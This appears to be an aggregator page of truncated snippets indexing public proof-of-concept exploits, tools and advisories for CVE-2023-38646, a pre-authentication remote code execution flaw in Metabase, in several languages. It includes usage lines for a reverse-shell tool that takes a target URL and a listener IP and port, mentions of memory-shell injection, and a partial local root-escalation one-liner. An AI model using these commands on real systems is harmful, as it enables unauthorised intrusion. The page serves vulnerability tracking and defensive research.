CVE-2023-38646-POC

CVE-2023-38646-POC CVE-2023-38646-POC...

metabase-pre-auth-rce-poc

Metabase Pre-Auth RCE CVE-2023-38646 POC Este es un script escrito en Python que permite la explotación de la falla de seguridad del software Metabase descrita en CVE-2023-38646. El sistema es vulnerable en versiones anteriores a la 0.46.6.1 , en la edición de código abierto, y anteriores a la...

CVE-2023-38646

Poc-Metabase-Preauth-CVE-2023-38646 ¿Cómo usarlo? root@kitploit: λ cve git clone https://github.com/LazyySec/CVE-2023-38646.git λ cve cd Poc-Metabase-Preauth-CVE-2023-38646 λ Poc-Metabase-Preauth-CVE-2023-38646 git:main go build CVE-2023-38646-Exploit.go λ Poc-Metabase-Preauth-CVE-2023-38646...

CVE-2023-38646

CVE-2023-38646 Fork ofkh4sh3i's removing the need for Burp Collector. CVE-2023-38646 Pre-Auth RCE in Metabase: Metabase open source before 0.46.6.1 and Metabase Enterprise before 1.46.6.1 allow attackers to execute arbitrary commands on the server, at the server's privilege level. Authentication ...

METABASE-RCE-CVE-2023-38646-

METABASE-RCE-CVE-2023-38646- 根据上述信息，要获取机器或系统的 root 用户，此命令和文件将进入 root 用户。 你可以直接运行此命令，或者作为文件运行并执行。 命令： $unshare -rm sh -c "mkdir l u w m && cp /u/b/p 3 l/; setcap capsetuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/;" && u/python3 -c 'import os;import...

CVE-2023-38646-Poc

CVE-2023-38646-Poc 用法 python check.py ip port 易受攻击的版本 root@kitploit: Metabase Enterprise 1.46 1.46.6.1 Metabase Enterprise 1.45 1.45.4.1 Metabase Enterprise 1.44 1.44.7.1 Metabase Enterprise 1.43 1.43.7.2 Metabase open source 0.46 0.46.6.1 Metabase open source 0.45 v0.45.4.1 Metabase open source...

CVE-2023-38646

CVE-2023-38646 CVE-2023-38646 的概念验证...

CVE-2023-38646

CVE-2023-38646...

MetabaseRceTools

MetabaseRceTools CVE-2023-38646 Metabase RCE ツール CVE-2023-38646 RCE グラフィカル利用ツール 検証モジュール 指定されたURLを入力すると、未認証Tokenを検出できます コマンド実行 このモジュールを使用するには、まず検証モジュールを実行してtokenを取得する必要があります JarLocation：metabase.jarの場所、デフォルトはカレントディレクトリ メモリシェル注入 現時点ではcmdとgodzillaモードのみ実装されており、x-client-dataで制御します x-client-data:cmd...

Metabase-H2-CVE-2023-38646-

このリポジトリには README がありません。...

cve-2023-38646-metabase-ReverseShell

cve-2023-38646-metabase-ReverseShell 运行命令 go run .\CVE-2023-38646-metabase-ReverseShell.go -u http://target.com:targetPort -h Your VPS IPaddr -p NC listen Port 注意 当你输入目标主机时，请不要忘记添加 http:// 或 https://...

Another-Metabase-RCE-CVE-2023-38646

Extension of the Pre-Auth RCE in Metabase CVE-2023-38646 explained こちら これは、「database already in use」（H2 および postgre をエンジンとして使用する場合）に関連するエラーを回避するのに役立ちました。 root@kitploit: "token": "TOKEN", "details": "isondemand": false, "isfullsync": false, "issample": false, "cachettl": null, "refingerprint":...

CVE-2023-38646

Metabase open source before 0.46.6.1 and Metabase Enterprise before 1.46.6.1 allow attackers to execute arbitrary commands on the server, at the server's privilege level. Authentication is not required for exploitation. The other fixed versions are 0.45.4.1, 1.45.4.1, 0.44.7.1, 1.44.7.1, 0.43.7.2...

Exploit for CVE-2023-38646

CVE-2023-38646-PoC-Metabase Proof-of-Concept script for exploi...

Exploit for CVE-2023-38646

Metabase Pre-Authentication RCE CVE-2023-38646 CVE-2023-38...

Metabase 0.46.6 - Pre-Auth Remote Code Execution Exploit

Exploit Title: metabase 0.46.6 - Pre-Auth Remote Code Execution Exploit Author: Musyoka Ian Vendor Homepage: https://www.metabase.com/ Software Link: https://www.metabase.com/ Version: metabase 0.46.6 Tested on: Ubuntu 22.04, metabase 0.46.6 CVE : CVE-2023-38646 !/usr/bin/env python3 import socke...

Metabase 0.46.6 - Pre-Auth Remote Code Execution

Exploit Title: metabase 0.46.6 - Pre-Auth Remote Code Execution Google Dork: N/A Date: 13-10-2023 Exploit Author: Musyoka Ian Vendor Homepage: https://www.metabase.com/ Software Link: https://www.metabase.com/ Version: metabase 0.46.6 Tested on: Ubuntu 22.04, metabase 0.46.6 CVE : CVE-2023-38646...

Metabase RCE (CVE-2023-38646)

The version of Metabase installed on the remote host is 0.46.x 0.46.6.1, 0.45.x 0.45.4.1, 1.45.x 1.45.4.1, 0.44.x 0.44.7.1, 1.44.x 1.44.7.1, 0.43.x 0.43.7.2, and 1.43.x 1.43.7.2. It is, therefore, affected by a command execution vulnerability when a malicious attacker sends a specially crafted...

Exploit for CVE-2023-38646

CVE-2023-38646 Metabase Pre-Auth RCE 11/26/2023 Metabase ope...

VulnCheck KEV: CVE-2023-38646

Metabase open source before 0.46.6.1 and Metabase Enterprise before 1.46.6.1 allow attackers to execute arbitrary commands on the server, at the server's privilege level. Authentication is not required for exploitation. The other fixed versions are 0.45.4.1, 1.45.4.1, 0.44.7.1, 1.44.7.1,...